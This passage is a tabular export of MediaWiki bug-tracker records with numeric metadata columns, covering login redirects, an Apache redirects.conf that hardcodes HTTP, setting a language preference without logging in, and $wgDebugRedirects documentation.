Aashish",,,1328964834,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tag5y25e6jgf6tfreibs,task_subcomment,,True,c2,1,False,,,-81,True,0.5,0.0,0.0,1.0,0.0,2.5,2.5,0.0,0.0,0.5,4.0,5.0,0.0,0.0,0.0,2.5,0.5,5.5,13.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.5,2.5,0.0,2.0,1.0,0.5,1.5,0.0,0.0,0.5,1.0,1.0,0.0,0.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,7.5,3.5,7.5,1.0,0.5,10.5,0.0,0.0,0.0,0.0,4.5,0.5,0.0,0.0,3.5,13.0,2.5,0.0,5.0,0.0,3.5,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,3.7564102564102564,0.6474358974358974,"**ashishmittal.mail** wrote:

Hello,

I would like to solve this bug.

As per my understanding, generally after the user login, the page is redirected back to the page user was originally on due to the parameter 'returnto' of the $request object (WebRequest). 
Since in this case, the user was on 'PasswordRequest' page, he would be redirected to the same page again. Hence in this case, we might need to explicitly set the parameter to the 'main-page'. Hence it would be a code addition somewhere in the PasswordReset page for setting the value of some parameter to 'main-page' which would reflect in $request['returnto']

Kindly suggest if I am on the right track and guide.

Thanks,
Aashish"
35751,redirects.conf should not hardcode HTTP,"Apache configuration for redirections ( redirects.conf ) always redirects user to the http:// scheme. Since we support SSL on most site, we should stick to whatever protocol was requested by the user.

Example of buggy redirection:

    RewriteCond %{HTTP_HOST} mediawiki.org
    RewriteRule ^/(.*)$ http://www.mediawiki.org/$1 [R=301,L]

Should either redirect to a relative URL ( //www.mediawiki.org ) or replace http with SERVER_PROTOCOL

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1326713160,1340841921.0,PHID-USER-orzyp3dswemhdgdznro5,False,,False,PHID-TASK-t3ubosyuent45q6rm7q2,task_description,resolved,True,c2,1,True,False,True,-85,True,0.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,10.0,0.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,16.0,1.0,2.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,10.0,7.0,0.0,0.0,0.0,2.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,3.0,4.887640449438202,0.7640449438202247,"Apache configuration for redirections ( redirects.conf ) always redirects user to the http:// scheme. Since we support SSL on most site, we should stick to whatever protocol was requested by the user.

Example of buggy redirection:

    RewriteCond %{HTTP_HOST} mediawiki.org
    RewriteRule ^/(.*)$ URL [R=301,L]

Should either redirect to a relative URL ( //www.mediawiki.org ) or replace http with SERVER_PROTOCOL

--------------------------
**Version**: unspecified
**Severity**: normal"
157974,redirects.conf should not hardcode HTTP,"

*** This bug has been marked as a duplicate of bug 31369 ***",,,1340841921,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-t3ubosyuent45q6rm7q2,task_subcomment,,True,c2,1,True,,,-61,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 31369 ***"
157967,redirects.conf should not hardcode HTTP,https://rt.wikimedia.org/Ticket/Display.html?id=2847,,,1334925892,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-t3ubosyuent45q6rm7q2,task_subcomment,,True,c2,1,True,,,-71,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
35677,enable setting language preference without requiring login,"Why can't MediaWiki do like all major sites' software, and allow setting
the interface language without requiring the user to establish an account?

Observe the bottom of e.g.,
http://www.facebook.com/
http://www.flickr.com/
http://www.youtube.com/
Each has a language selector that doesn't require login.
http://www.couchsurfing.org/
even puts it right at top.

Yes, patient users  can set their language preference in Preferences.
But what about read-only sites? I.e., What should one suggest on
http://www.mediawiki.org/wiki/Manual:Preventing_access#Restrict_account_creation
to say to users who wish to view in a different language?
Painfully suffix ""?uselang=..."" to the end of each URL they browse?

One might argue ""users will confuse MediaWiki uselang= with
XX.wikipedia.org languages"" ... well they haven't yet with the language
choice in Preferences.

I'm not saying rip it out of Preferences. I'm saying add an additional
way to set it for even non-logged in users, just like the aforementioned
""real websites"" do.

Also consider the current accessibility up until the point the user has
managed to register an account and finally set his/her language
preference... all of which has to be somehow accomplished in the ""dark""
of the default language, unless he/she knows to add the magic
uselang=... to MediaWiki URLs every step of the way.

Please don't suggest an add-on for such basic functionality.

--------------------------
**Version**: 1.20.x
**Severity**: enhancement
**Whiteboard**: UniversalLanguageSelector-fixed
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=20151
https://bugzilla.wikimedia.org/show_bug.cgi?id=56464",Medium,50.0,1326329760,1383291886.0,PHID-USER-awbqewknju4hbrnah6pm,False,,False,PHID-TASK-eoh3qwkbowyrivc4rvgy,task_description,resolved,True,c2,1,False,False,True,-85,True,1.25,0.0,0.0,0.25,1.25,4.5,0.0,0.0,0.0,0.25,1.75,1.75,0.25,0.25,0.0,0.5,0.0,4.0,9.25,0.0,1.75,0.25,0.0,0.0,0.25,0.0,0.25,0.0,0.5,0.25,0.0,3.5,1.5,0.75,2.5,0.0,0.0,0.0,0.0,1.25,0.0,2.0,0.0,1.5,0.0,0.0,0.0,0.25,0.0,12.5,0.0,0.0,0.25,0.5,0.0,0.0,0.0,0.0,0.25,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,5.0,0.25,9.5,0.5,0.75,6.5,0.0,0.0,0.0,0.0,5.75,0.75,0.25,0.0,3.75,9.25,4.25,1.25,2.25,0.0,3.75,0.0,1.5,1.5,0.0,1.0,0.0,0.0,0.0,3.789517405063291,0.6987341772151899,"Why can't MediaWiki do like all major sites' software, and allow setting
the interface language without requiring the user to establish an account?

Observe the bottom of e.g.,
URL
URL
URL
Each has a language selector that doesn't require login.
URL
even puts it right at top.

Yes, patient users  can set their language preference in Preferences.
But what about read-only sites? I.e., What should one suggest on
URL
to say to users who wish to view in a different language?
Painfully suffix ""?uselang=..."" to the end of each URL they browse?

One might argue ""users will confuse MediaWiki uselang= with
XX.wikipedia.org languages"" ... well they haven't yet with the language
choice in Preferences.

I'm not saying rip it out of Preferences. I'm saying add an additional
way to set it for even non-logged in users, just like the aforementioned
""real websites"" do.

Also consider the current accessibility up until the point the user has
managed to register an account and finally set his/her language
preference... all of which has to be somehow accomplished in the ""dark""
of the default language, unless he/she knows to add the magic
uselang=... to MediaWiki URLs every step of the way.

Please don't suggest an add-on for such basic functionality.

--------------------------
**Version**: 1.20.x
**Severity**: enhancement
**Whiteboard**: UniversalLanguageSelector-fixed
**See Also**:
URL
URL"
163171,enable setting language preference without requiring login,"(In reply to comment #11)
> I'm just going to mark this as fixed. ULS provides this functionality, and
> there is no mention about WMF where this functionality cannot currently be
> enabled.

Fixing dependencies and component then.",,,1383292928,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-eoh3qwkbowyrivc4rvgy,task_subcomment,,True,c2,3,True,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.619047619047619,0.8095238095238095,"(In reply to comment #11)
QUOTE
QUOTE
QUOTE

Fixing dependencies and component then."
163164,enable setting language preference without requiring login,"I'm just going to mark this as fixed. ULS provides this functionality, and there is no mention about WMF where this functionality cannot currently be enabled.",,,1383291886,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-eoh3qwkbowyrivc4rvgy,task_subcomment,,True,c2,3,False,,,9,True,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,13.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,3.0,3.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,10.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.290322580645161,0.8709677419354839,"I'm just going to mark this as fixed. ULS provides this functionality, and there is no mention about WMF where this functionality cannot currently be enabled."
163160,enable setting language preference without requiring login,There are some efforts going on designing a language selector UI  by integrating language tools to it. See https://www.mediawiki.org/wiki/Universal_Language_Selector for a draft specification.,,,1326343543,,PHID-USER-m2yck6646cdt5t6zkta4,False,,,PHID-TASK-eoh3qwkbowyrivc4rvgy,task_subcomment,,True,c2,1,False,,,-85,True,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,15.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,15.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,12.0,0.0,0.0,0.0,4.423076923076923,0.8846153846153846,There are some efforts going on designing a language selector UI  by integrating language tools to it. See URL for a draft specification.
163156,enable setting language preference without requiring login,"By database I mean e.g., a ham radio frequency database or a database of Latin names for plants, etc. that the owner has chosen to use MediaWiki as the platform.
I.e., the content is just numbers or other language neutral items, so why can't the interface (MediaWiki) be language neutral from click 1?",,,1326342907,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-eoh3qwkbowyrivc4rvgy,task_subcomment,,True,c2,1,False,,,-85,True,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,9.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,11.0,5.0,2.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,3.0,3.90625,0.78125,"By database I mean e.g., a ham radio frequency database or a database of Latin names for plants, etc. that the owner has chosen to use MediaWiki as the platform.
I.e., the content is just numbers or other language neutral items, so why can't the interface (MediaWiki) be language neutral from click 1?"
163153,enable setting language preference without requiring login,"(In reply to comment #6)
> There's a major difference between Wikipedia and those sites you listed
So how would you suggest owners of read-only databases who would like
their database to be accessible in more than one language proceed? Hack
up some xx.example.com massive redirect nightmare? One can't always
assume ""well the content has that problem too"" so there is no need to
make the interface accessible. I mean I keep reading about the efforts
to make things internationally accessible, e.g.,
http://blog.wikimedia.org/2012/01/09/end-of-sprint-6-translate-and-other-goodies/
but at the same time there is no path in ones language from a MediaWiki
Main Page through the many steps to set up the correct preference... if
indeed a given MediaWiki allows logging in in the first place.",,,1326342693,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-eoh3qwkbowyrivc4rvgy,task_subcomment,,True,c2,1,False,,,-85,True,1.0,0.0,0.0,0.0,0.5,6.0,0.5,0.0,0.0,0.5,4.0,0.5,0.5,0.5,1.0,1.5,0.0,5.5,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,1.5,0.5,0.0,0.0,0.0,1.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,14.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,6.5,1.5,7.5,1.0,0.5,8.5,0.0,0.0,0.0,0.5,5.0,0.5,1.0,0.0,3.0,12.0,3.5,1.0,1.0,0.0,3.0,0.0,1.0,1.5,0.0,1.5,0.5,0.0,0.0,3.957161125319693,0.7878303495311167,"(In reply to comment #6)
QUOTE
So how would you suggest owners of read-only databases who would like
their database to be accessible in more than one language proceed? Hack
up some xx.example.com massive redirect nightmare? One can't always
assume ""well the content has that problem too"" so there is no need to
make the interface accessible. I mean I keep reading about the efforts
to make things internationally accessible, e.g.,
URL
but at the same time there is no path in ones language from a MediaWiki
Main Page through the many steps to set up the correct preference... if
indeed a given MediaWiki allows logging in in the first place."
163148,enable setting language preference without requiring login,"just a slight note from the IRC channel, for anyone that may want to attempt this:

> [11:31] <p858snake|l> brion: I believe commons tried to do it a cache friendly way and couldn't get it to work properly for anons (although we have a slightly more complicated cache setup than normal)
> [11:33] <brion> p858snake|l, yeah the ""right"" way is to make the frontend a javascript app that uses the api, and only has to fetch UI messages once etc ;)",,,1326342445,,PHID-USER-hwuumsjqciw7ji5qhpc7,False,,,PHID-TASK-eoh3qwkbowyrivc4rvgy,task_subcomment,,True,c2,1,False,,,-85,True,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,3.6363636363636362,0.9545454545454546,"just a slight note from the IRC channel, for anyone that may want to attempt this:

QUOTE
QUOTE"
163144,enable setting language preference without requiring login,"There's a major difference between Wikipedia and those sites you listed: Wikipedia has different sites for contents in different languages, and those websites have an only global site with contents in mixed language.

So on those websites, people using completely different language use the same site, so it's important to provide a language selector. While on Wikipedia, normally (I mean, except for those people doing crosswiki work) only people who know the content language come to the site and since the interface language defaults to the content language, it's safe to assume that people can understand the default interface language.

However it can be useful for wikis with mixed contents, eg, http://wikimediafoundation.org/wiki/Home .",,,1326341879,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-eoh3qwkbowyrivc4rvgy,task_subcomment,,True,c2,1,False,,,-85,True,0.0,0.0,0.5,0.0,0.0,7.5,1.0,0.0,0.0,0.0,2.0,0.0,0.0,1.5,0.5,1.0,0.0,3.5,12.0,0.0,1.5,0.0,1.5,0.0,0.5,0.0,0.0,0.0,1.5,0.0,1.5,4.5,3.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,21.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,5.5,3.5,2.0,8.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,3.5,12.0,3.0,0.0,0.0,0.0,3.5,0.0,1.0,1.5,0.0,1.5,0.0,0.0,0.0,4.5227272727272725,0.6893939393939394,"There's a major difference between Wikipedia and those sites you listed: Wikipedia has different sites for contents in different languages, and those websites have an only global site with contents in mixed language.

So on those websites, people using completely different language use the same site, so it's important to provide a language selector. While on Wikipedia, normally (I mean, except for those people doing crosswiki work) only people who know the content language come to the site and since the interface language defaults to the content language, it's safe to assume that people can understand the default interface language.

However it can be useful for wikis with mixed contents, eg, URL ."
163139,enable setting language preference without requiring login,"(In reply to comment #4)
No worry, I'm with the 99% on this issue. What's good for the real sites is good for me!",,,1326333087,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-eoh3qwkbowyrivc4rvgy,task_subcomment,,True,c2,1,False,,,-85,True,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,15.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,12.0,0.0,0.0,12.0,0.0,0.0,3.0,3.0,3.0,0.0,6.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,2.676470588235294,0.9117647058823529,"(In reply to comment #4)
No worry, I'm with the 99% on this issue. What's good for the real sites is good for me!"
163135,enable setting language preference without requiring login,This would be absolutely trivial to do in a cache-friendly way... in a sufficiently redone JavaScript application UI. But I don't think jidanni would find it to work in lynx. :),,,1326331662,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-eoh3qwkbowyrivc4rvgy,task_subcomment,,True,c2,1,True,,,-85,True,0.0,0.0,3.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,5.0,3.0,14.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,14.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.972972972972973,0.8108108108108109,This would be absolutely trivial to do in a cache-friendly way... in a sufficiently redone JavaScript application UI. But I don't think jidanni would find it to work in lynx. :)
163131,enable setting language preference without requiring login,"We currently have 380 languages, So you would need to store a cache for each
one of those languages (depending on your setup), You would need a nice
language selector.

Although I don't see the need in most cases, Since in most wikis I have come
access, The user language is usually the same as the content language.",,,1326330747,,PHID-USER-hwuumsjqciw7ji5qhpc7,False,,,PHID-TASK-eoh3qwkbowyrivc4rvgy,task_subcomment,,True,c2,1,False,,,-85,True,1.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,4.0,0.0,6.0,13.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,11.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,8.0,13.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,1.0,0.0,3.0,0.0,3.704225352112676,0.7323943661971831,"We currently have 380 languages, So you would need to store a cache for each
one of those languages (depending on your setup), You would need a nice
language selector.

Although I don't see the need in most cases, Since in most wikis I have come
access, The user language is usually the same as the content language."
163124,enable setting language preference without requiring login,http://www.google.com/ 's approach is somewhat different... but still usually there at the bottom of the page.,,,1326330351,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-eoh3qwkbowyrivc4rvgy,task_subcomment,,True,c2,1,False,,,-85,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,6.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.222222222222222,0.9444444444444444,URL 's approach is somewhat different... but still usually there at the bottom of the page.
163114,enable setting language preference without requiring login,"There remains the question of how to exactly design a language
selector that everybody can understand. All I can say is the
aforementioned ""real websites"" offer very good examples there on the
footers of their pages!",,,1326330236,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-eoh3qwkbowyrivc4rvgy,task_subcomment,,True,c2,1,False,,,-85,True,2.0,2.0,2.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,9.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,7.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,9.0,2.0,7.0,2.0,0.0,12.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,4.27906976744186,0.8372093023255814,"There remains the question of how to exactly design a language
selector that everybody can understand. All I can say is the
aforementioned ""real websites"" offer very good examples there on the
footers of their pages!"
35554,Documentation of $wgDebugRedirects doesn't clearly state it's about HTTP redirects,"**Author:** `pakseykin`

**Description:**
Setting ""$wgDebugRedirects = true"" in ""LocalSettings.php"" does not work as it described by the documentation:
http://www.mediawiki.org/wiki/Manual:$wgDebugRedirects
If redirected page is accessed using original URL, the redirect still happens automatically.

It is either (1) problem with the code or (2) lack of explanation in documentation.

STEPS TO REPRODUCE:

1. I have a MediaWiki instance installed into (similar) URL:
http://example.com/content/

2. I created a page which is directly accessible through:
http://example.com/content/index.php?title=Initial

3. Then I redirected (moved leaving a redirect) the page giving it new name:
http://example.com/content/index.php?title=Moved

4. Then I enabled (""$wgDebugRedirects = true;"" in LocalSettings.php) the feature to disable automatic redirects. According to the documentation, this should disable redirects and show new location instead.

4.1 EXPECTED RESULT:
In the example above, when I enter the first URL, the wiki engine should not show content of the page. It should simply show a some kind of auto-message with a link to the new ""Moved"" page.

4.2 OBSERVED RESULT:
When the first URL is used, the wiki engine still redirects the page showing its content. In other words, it behaves as if there were no changes to ""$wgDebugRedirects"" variable.

--------------------------
**Version**: 1.18.x
**Severity**: minor",Medium,50.0,1325847000,1325892770.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-zii6cu3u7akmhhsnzgl3,task_description,invalid,True,c2,1,False,False,True,-86,True,0.3333333333333333,0.0,0.0,0.6666666666666666,0.6666666666666666,5.666666666666667,0.3333333333333333,0.0,0.0,0.6666666666666666,2.6666666666666665,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,4.333333333333333,7.666666666666667,0.0,0.6666666666666666,1.0,0.0,0.0,2.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,4.0,2.0,2.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,2.6666666666666665,0.0,0.0,0.0,0.0,0.0,14.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,6.666666666666667,1.6666666666666667,13.333333333333334,1.3333333333333333,1.0,8.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,2.6666666666666665,0.0,3.6666666666666665,7.666666666666667,3.0,0.0,3.3333333333333335,0.0,3.6666666666666665,0.0,1.0,1.6666666666666667,0.0,2.0,0.0,0.0,0.6666666666666666,3.8049645390070927,0.652482269503546,"**Author:** CODE

**Description:**
Setting ""$wgDebugRedirects = true"" in ""LocalSettings.php"" does not work as it described by the documentation:
URL
If redirected page is accessed using original URL, the redirect still happens automatically.

It is either (1) problem with the code or (2) lack of explanation in documentation.

STEPS TO REPRODUCE:

1. I have a MediaWiki instance installed into (similar) URL:
URL

2. I created a page which is directly accessible through:
URL

3. Then I redirected (moved leaving a redirect) the page giving it new name:
URL

4. Then I enabled (""$wgDebugRedirects = true;"" in LocalSettings.php) the feature to disable automatic redirects. According to the documentation, this should disable redirects and show new location instead.

4.1 EXPECTED RESULT:
In the example above, when I enter the first URL, the wiki engine should not show content of the page. It should simply show a some kind of auto-message with a link to the new ""Moved"" page.

4.2 OBSERVED RESULT:
When the first URL is used, the wiki engine still redirects the page showing its content. In other words, it behaves as if there were no changes to ""$wgDebugRedirects"" variable.

--------------------------
**Version**: 1.18.x
**Severity**: minor"
155580,Documentation of $wgDebugRedirects doesn't clearly state it's about HTTP redirects,Documentation clarified (yay its a wiki!),,,1325892770,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-zii6cu3u7akmhhsnzgl3,task_subcomment,,True,c2,1,False,,,-86,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Documentation clarified (yay its a wiki!)
155577,Documentation of $wgDebugRedirects doesn't clearly state it's about HTTP redirects,"**pakseykin** wrote:

Niklas, let me elaborate on this as I understand it.

If the following is correct, the bug can be closed. But I think documentation
should be clarified then. What I was trying to do is to disable the ""Wiki logic
level"" redirects.

--- HTTP level
The ""$wgDebugRedirects"" variable controls the action when MediaWiki is about to
generate 301 HTTP reply:
